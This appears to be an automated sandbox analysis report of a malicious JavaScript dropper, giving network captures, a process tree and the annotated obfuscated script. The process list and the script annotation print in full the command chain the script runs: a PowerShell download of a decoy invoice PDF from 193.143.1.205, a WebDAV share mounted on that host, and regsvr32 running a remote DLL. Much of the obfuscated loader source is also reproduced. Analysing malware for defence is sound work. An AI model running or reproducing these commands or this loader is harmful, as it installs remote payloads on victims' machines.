0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 20:02:57.838825941 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 20:02:57.838838100 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 20:02:57.838850021 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 20:02:57.838861942 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 20:02:57.838875055 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 20:02:57.838886976 CET	672	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 20:02:57.838900089 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 20:02:57.838911057 CET	1116	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 20:02:57.838917971 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 10, 2025 20:02:57.843751907 CET	272	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	348	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:02:59.467163086 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 20:03:00.335351944 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:03:00 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	14:02:53
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3881066198165199.js"
Imagebase:	0x7ff75ec20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:02:53
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll
Imagebase:	0x7ff736680000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:02:53
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:02:53
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:02:57
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:02:57
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff736680000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:02:58
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff660b50000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:02:58
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:02:58
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:02:59
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1628,i,10686114949434199213,11936468120320487856,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function gwgfiar() {	gwgfiar() ➔ undefined
1	jybxmab = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var njpjif = this[bagwea + ekjui + bexnqvsv + fpuigitwy + kkoguaaa + evedeep + etuajpdhe + ghoqp] ( this[fpvgy + hbmdl + xfminaub + bexnqvsv + xqucagv + bagwea + ghoqp][awhnzi + bexnqvsv + kkoguaaa + ekjui + ghoqp + kkoguaaa + xvlfch + jdmaz + ulibmcch + kkoguaaa + xfminaub + ghoqp] ( fpvgy + hbmdl + xfminaub + bexnqvsv + xqucagv + bagwea + ghoqp + owxgli + hbmdl + qypbzcpe + kkoguaaa + kyaqmzb + kyaqmzb ) [mjedph + kkoguaaa + eplydjd + mjedph + kkoguaaa + ekjui + hezabk] ( mgmnmxsl + ypwrsawuq + qlcqtjuzv + ekbsstgcb + rbmzhillz + awhnzi + emhsb + mjedph + mjedph + qlcqtjuzv + dusujxh + wdmgthf + rbmzhillz + emhsb + hbmdl + qlcqtjuzv + mjedph + gjfsaedxs + awhnzi + cupnsphyi + etuajpdhe + ghoqp + bexnqvsv + cupnsphyi + kyaqmzb + ozoqxkr + vsruu + ekjui + etuajpdhe + kkoguaaa + kyaqmzb + gjfsaedxs + evedeep + etuajpdhe + ghoqp + kkoguaaa + bexnqvsv + etuajpdhe + ekjui + ghoqp + xqucagv + cupnsphyi + etuajpdhe + ekjui + kyaqmzb + gjfsaedxs + bauoxhvmt + cupnsphyi + xfminaub + ekjui + kyaqmzb + kkoguaaa ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ztpvagw = 0 ; ztpvagw < jybxmab[kyaqmzb + kkoguaaa + etuajpdhe + eplydjd + ghoqp + qypbzcpe] ; ++ ztpvagw )
4	{
5	if ( njpjif == jybxmab[ztpvagw] )
6	{
7	njpjif = true;
8	break ;
9	}
10	}
11	if ( njpjif !== true )
12	this[fpvgy + hbmdl + xfminaub + bexnqvsv + xqucagv + bagwea + ghoqp][wqvcufq + fczscnmd + xqucagv + ghoqp] ( );
13	this[fpvgy + hbmdl + xfminaub + bexnqvsv + xqucagv + bagwea + ghoqp][awhnzi + bexnqvsv + kkoguaaa + ekjui + ghoqp + kkoguaaa + xvlfch + jdmaz + ulibmcch + kkoguaaa + xfminaub + ghoqp] ( fpvgy + hbmdl + xfminaub + bexnqvsv + xqucagv + bagwea + ghoqp + owxgli + hbmdl + qypbzcpe + kkoguaaa + kyaqmzb + kyaqmzb ) [bexnqvsv + fczscnmd + etuajpdhe] ( xfminaub + qqtrmohij + hezabk + ozoqxkr + xoxinyv + xfminaub + ozoqxkr + bagwea + cupnsphyi + anglznkxr + kkoguaaa + bexnqvsv + fpuigitwy + qypbzcpe + kkoguaaa + kyaqmzb + kyaqmzb + owxgli + kkoguaaa + uavschec + kkoguaaa + ozoqxkr + nfdbggrz + awhnzi + cupnsphyi + qqtrmohij + qqtrmohij + ekjui + etuajpdhe + hezabk + ozoqxkr + sitqrcipr + evedeep + etuajpdhe + amgqovpka + cupnsphyi + lhrerjo + kkoguaaa + nfdbggrz + fpvgy + kkoguaaa + jdmaz + mjedph + kkoguaaa + foahnymb + fczscnmd + kkoguaaa + fpuigitwy + ghoqp + ozoqxkr + nfdbggrz + xvlfch + fczscnmd + ghoqp + wotxb + xqucagv + kyaqmzb + kkoguaaa + ozoqxkr + zmtrdoz + ghoqp + kkoguaaa + qqtrmohij + bagwea + zmtrdoz + gjfsaedxs + xqucagv + etuajpdhe + amgqovpka + cupnsphyi + xqucagv + xfminaub + kkoguaaa + owxgli + bagwea + hezabk + nenappmyf + ozoqxkr + qypbzcpe + ghoqp + ghoqp + bagwea + asgfwiid + xoxinyv + xoxinyv + kxzqcyxx + gcxlxg + ywzdcson + owxgli + kxzqcyxx + bumcr + ywzdcson + owxgli + kxzqcyxx + owxgli + sypefqqu + xftkwgl + obpdclyc + xoxinyv + xqucagv + etuajpdhe + amgqovpka + cupnsphyi + xqucagv + xfminaub + kkoguaaa + owxgli + bagwea + qypbzcpe + bagwea + sitqrcipr + mkvov + mkvov + fpuigitwy + ghoqp + ekjui + bexnqvsv + ghoqp + ozoqxkr + zmtrdoz + ghoqp + kkoguaaa + qqtrmohij + bagwea + zmtrdoz + gjfsaedxs + xqucagv + etuajpdhe + amgqovpka + cupnsphyi + xqucagv + xfminaub + kkoguaaa + owxgli + bagwea + hezabk + nenappmyf + mkvov + mkvov + xfminaub + qqtrmohij + hezabk + ozoqxkr + xoxinyv + xfminaub + ozoqxkr + etuajpdhe + kkoguaaa + ghoqp + ozoqxkr + fczscnmd + fpuigitwy + kkoguaaa + ozoqxkr + gjfsaedxs + gjfsaedxs + kxzqcyxx + gcxlxg + ywzdcson + owxgli + kxzqcyxx + bumcr + ywzdcson + owxgli + kxzqcyxx + owxgli + sypefqqu + xftkwgl + obpdclyc + unykspo + oneanex + oneanex + oneanex + oneanex + gjfsaedxs + hezabk + ekjui + amgqovpka + anglznkxr + anglznkxr + anglznkxr + bexnqvsv + cupnsphyi + cupnsphyi + ghoqp + gjfsaedxs + mkvov + mkvov + xfminaub + qqtrmohij + hezabk + ozoqxkr + xoxinyv + xfminaub + ozoqxkr + bexnqvsv + kkoguaaa + eplydjd + fpuigitwy + amgqovpka + bexnqvsv + ywzdcson + sypefqqu + ozoqxkr + xoxinyv + fpuigitwy + ozoqxkr + gjfsaedxs + gjfsaedxs + kxzqcyxx + gcxlxg + ywzdcson + owxgli + kxzqcyxx + bumcr + ywzdcson + owxgli + kxzqcyxx + owxgli + sypefqqu + xftkwgl + obpdclyc + unykspo + oneanex + oneanex + oneanex + oneanex + gjfsaedxs + hezabk + ekjui + amgqovpka + anglznkxr + anglznkxr + anglznkxr + bexnqvsv + cupnsphyi + cupnsphyi + ghoqp + gjfsaedxs + kxzqcyxx + obpdclyc + ybicshhuf + brhcy + sypefqqu + sypefqqu + sypefqqu + kxzqcyxx + sypefqqu + kxzqcyxx + ybicshhuf + ybicshhuf + oneanex + brhcy + owxgli + hezabk + kyaqmzb + kyaqmzb, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15762221217786.dll",0,false) ➔ 0
14	}
15	xvlfch = "t";
16	xvlfch = "O";
17	bagwea = "E";
18	bagwea = "h";
19	bagwea = "H";
20	bagwea = "y";
21	bagwea = "D";
22	bagwea = "B";
23	bagwea = "e";
24	bagwea = "V";
25	bagwea = "g";
26	bagwea = "l";
27	bagwea = "a";
28	bagwea = "f";
29	bagwea = "g";
30	bagwea = "U";
31	bagwea = "m";
32	bagwea = "f";
33	bagwea = "V";
34	bagwea = "i";
35	bagwea = "R";
36	bagwea = "l";
37	bagwea = "i";
38	bagwea = "Y";
39	bagwea = "e";
40	bagwea = "u";
41	bagwea = "B";
42	bagwea = "B";
43	bagwea = "E";
44	bagwea = "A";
45	bagwea = "X";
46	bagwea = "W";
47	bagwea = "u";
48	bagwea = "g";
49	bagwea = "P";
50	bagwea = "G";
51	bagwea = "a";
52	bagwea = "B";
53	bagwea = "S";
54	bagwea = "A";
55	bagwea = "f";
56	bagwea = "W";
57	bagwea = "p";
58	dusujxh = "w";
59	dusujxh = "u";
60	dusujxh = "Y";
61	dusujxh = "W";
62	dusujxh = "k";
63	dusujxh = "h";
64	dusujxh = "T";
65	dusujxh = "w";
66	dusujxh = "N";
67	dusujxh = "q";
68	dusujxh = "U";
69	dusujxh = "J";
70	dusujxh = "N";
71	dusujxh = "P";
72	dusujxh = "s";
73	dusujxh = "S";
74	dusujxh = "s";
75	dusujxh = "p";
76	dusujxh = "k";
77	dusujxh = "g";
78	dusujxh = "c";
79	dusujxh = "Y";
80	dusujxh = "L";
81	dusujxh = "Y";
82	dusujxh = "m";
83	dusujxh = "p";
84	dusujxh = "G";
85	dusujxh = "y";
86	dusujxh = "c";
87	dusujxh = "B";
88	dusujxh = "N";
89	brhcy = "h";
90	brhcy = "g";
91	brhcy = "N";
92	brhcy = "j";
93	brhcy = "i";
94	brhcy = "T";
95	brhcy = "W";
96	brhcy = "f";
97	brhcy = "E";
98	brhcy = "V";
99	brhcy = "g";
100	brhcy = "s";
101	brhcy = "K";
102	brhcy = "A";
103	brhcy = "i";
104	brhcy = "l";
105	brhcy = "h";
106	brhcy = "r";
107	brhcy = "n";
108	brhcy = "V";
109	brhcy = "h";
110	brhcy = "E";
111	brhcy = "K";
112	brhcy = "n";
113	brhcy = "U";
114	brhcy = "P";
115	brhcy = "H";
116	brhcy = "q";
117	brhcy = "F";
118	brhcy = "6";
119	mkvov = "l";
120	mkvov = "O";
121	mkvov = "C";
122	mkvov = "R";
123	mkvov = "Z";
124	mkvov = "I";
125	mkvov = "b";
126	mkvov = "r";
127	mkvov = "M";
128	mkvov = "b";
129	mkvov = "j";
130	mkvov = "S";
131	mkvov = "C";
132	mkvov = "A";
133	mkvov = "Z";
134	mkvov = "j";
135	mkvov = "s";
136	mkvov = "j";
137	mkvov = "L";
138	mkvov = "F";
139	mkvov = "N";
140	mkvov = "w";
141	mkvov = "A";
142	mkvov = "v";
143	mkvov = "U";
144	mkvov = "N";
145	mkvov = "T";
146	mkvov = "q";
147	mkvov = "G";
148	mkvov = "U";
149	mkvov = "j";
150	mkvov = "C";
151	mkvov = "N";
152	mkvov = "h";
153	mkvov = "P";
154	mkvov = "R";
155	mkvov = "X";
156	mkvov = "B";
157	mkvov = "&";
158	qqtrmohij = "t";
159	qqtrmohij = "h";
160	qqtrmohij = "I";
161	qqtrmohij = "w";
162	qqtrmohij = "r";
163	qqtrmohij = "q";
164	qqtrmohij = "e";
165	qqtrmohij = "G";
166	qqtrmohij = "t";
167	qqtrmohij = "N";
168	qqtrmohij = "m";
169	anglznkxr = "u";
170	anglznkxr = "M";
171	anglznkxr = "a";
172	anglznkxr = "W";
173	anglznkxr = "N";
174	anglznkxr = "T";
175	anglznkxr = "r";
176	anglznkxr = "v";
177	anglznkxr = "J";
178	anglznkxr = "W";
179	anglznkxr = "t";
180	anglznkxr = "n";
181	anglznkxr = "G";
182	anglznkxr = "q";
183	anglznkxr = "T";
184	anglznkxr = "X";
185	anglznkxr = "N";
186	anglznkxr = "k";
187	anglznkxr = "p";
188	anglznkxr = "P";
189	anglznkxr = "k";
190	anglznkxr = "S";
191	anglznkxr = "p";
192	anglznkxr = "d";
193	anglznkxr = "c";
194	anglznkxr = "J";
195	anglznkxr = "a";
196	anglznkxr = "t";
197	anglznkxr = "t";
198	anglznkxr = "w";
199	xqucagv = "r";
200	xqucagv = "v";
201	xqucagv = "U";
202	xqucagv = "B";
203	xqucagv = "g";
204	xqucagv = "K";
205	xqucagv = "F";
206	xqucagv = "K";
207	xqucagv = "W";
208	xqucagv = "S";
209	xqucagv = "H";
210	xqucagv = "S";
211	xqucagv = "p";
212	xqucagv = "w";
213	xqucagv = "B";
214	xqucagv = "z";
215	xqucagv = "f";
216	xqucagv = "j";
217	xqucagv = "h";
218	xqucagv = "T";
219	xqucagv = "X";
220	xqucagv = "Y";
221	xqucagv = "a";
222	xqucagv = "Y";
223	xqucagv = "R";
224	xqucagv = "X";
225	xqucagv = "g";
226	xqucagv = "Q";
227	xqucagv = "h";
228	xqucagv = "K";
229	xqucagv = "X";
230	xqucagv = "i";
231	emhsb = "W";
232	emhsb = "a";
233	emhsb = "q";
234	emhsb = "d";
235	emhsb = "l";
236	emhsb = "C";
237	emhsb = "h";
238	emhsb = "h";
239	emhsb = "F";
240	emhsb = "P";
241	emhsb = "m";
242	emhsb = "p";
243	emhsb = "k";
244	emhsb = "m";
245	emhsb = "X";
246	emhsb = "v";
247	emhsb = "F";
248	emhsb = "N";
249	emhsb = "O";
250	emhsb = "i";
251	emhsb = "t";
252	emhsb = "M";
253	emhsb = "o";
254	emhsb = "C";
255	emhsb = "f";
256	emhsb = "H";
257	emhsb = "U";
258	foahnymb = "D";
259	foahnymb = "c";
260	foahnymb = "p";
261	foahnymb = "x";
262	foahnymb = "f";
263	foahnymb = "d";
264	foahnymb = "t";
265	foahnymb = "k";
266	foahnymb = "h";
267	foahnymb = "n";
268	foahnymb = "V";
269	foahnymb = "E";
270	foahnymb = "e";
271	foahnymb = "y";
272	foahnymb = "Q";
273	foahnymb = "B";
274	foahnymb = "W";
275	foahnymb = "q";
276	obpdclyc = "s";
277	obpdclyc = "w";
278	obpdclyc = "O";
279	obpdclyc = "G";
280	obpdclyc = "u";
281	obpdclyc = "w";
282	obpdclyc = "p";
283	obpdclyc = "s";
284	obpdclyc = "M";
285	obpdclyc = "C";
286	obpdclyc = "a";
287	obpdclyc = "u";
288	obpdclyc = "c";
289	obpdclyc = "r";
290	obpdclyc = "a";
291	obpdclyc = "s";
292	obpdclyc = "c";
293	obpdclyc = "f";
294	obpdclyc = "a";
295	obpdclyc = "G";
296	obpdclyc = "X";
297	obpdclyc = "U";
298	obpdclyc = "g";
299	obpdclyc = "k";
300	obpdclyc = "U";
301	obpdclyc = "e";
302	obpdclyc = "G";
303	obpdclyc = "K";
304	obpdclyc = "G";
305	obpdclyc = "Y";
306	obpdclyc = "e";
307	obpdclyc = "L";
308	obpdclyc = "x";
309	obpdclyc = "g";
310	obpdclyc = "w";
311	obpdclyc = "k";
312	obpdclyc = "F";
313	obpdclyc = "J";
314	obpdclyc = "U";
315	obpdclyc = "5";
316	wqvcufq = "a";
317	wqvcufq = "F";
318	wqvcufq = "U";
319	wqvcufq = "B";
320	wqvcufq = "e";
321	wqvcufq = "P";
322	wqvcufq = "r";
323	wqvcufq = "P";
324	wqvcufq = "E";
325	wqvcufq = "Y";
326	wqvcufq = "m";
327	wqvcufq = "K";
328	wqvcufq = "U";
329	wqvcufq = "p";
330	wqvcufq = "p";
331	wqvcufq = "i";
332	wqvcufq = "P";
333	wqvcufq = "m";
334	wqvcufq = "n";
335	wqvcufq = "x";
336	wqvcufq = "w";
337	wqvcufq = "S";
338	wqvcufq = "t";
339	wqvcufq = "v";
340	wqvcufq = "P";
341	wqvcufq = "E";
342	wqvcufq = "d";
343	wqvcufq = "O";
344	wqvcufq = "j";
345	wqvcufq = "t";
346	wqvcufq = "O";
347	wqvcufq = "s";
348	wqvcufq = "l";
349	wqvcufq = "J";
350	wqvcufq = "Q";
351	ozoqxkr = "N";
352	ozoqxkr = "U";
353	ozoqxkr = "M";
354	ozoqxkr = "E";
355	ozoqxkr = "d";
356	ozoqxkr = "A";
357	ozoqxkr = "J";
358	ozoqxkr = "a";
359	ozoqxkr = "u";
360	ozoqxkr = "n";
361	ozoqxkr = "p";
362	ozoqxkr = "A";
363	ozoqxkr = " ";
364	kxzqcyxx = "M";
365	kxzqcyxx = "j";
366	kxzqcyxx = "Y";
367	kxzqcyxx = "D";
368	kxzqcyxx = "g";
369	kxzqcyxx = "P";
370	kxzqcyxx = "Y";
371	kxzqcyxx = "a";
372	kxzqcyxx = "Y";
373	kxzqcyxx = "G";
374	kxzqcyxx = "Z";
375	kxzqcyxx = "1";
376	ekjui = "U";
377	ekjui = "g";
378	ekjui = "Z";
379	ekjui = "M";
380	ekjui = "w";
381	ekjui = "C";
382	ekjui = "c";
383	ekjui = "X";
384	ekjui = "E";
385	ekjui = "N";
386	ekjui = "X";
387	ekjui = "b";
388	ekjui = "C";
389	ekjui = "j";
390	ekjui = "h";
391	ekjui = "F";
392	ekjui = "o";
393	ekjui = "x";
394	ekjui = "O";
395	ekjui = "O";
396	ekjui = "t";
397	ekjui = "f";
398	ekjui = "a";
399	xftkwgl = "J";
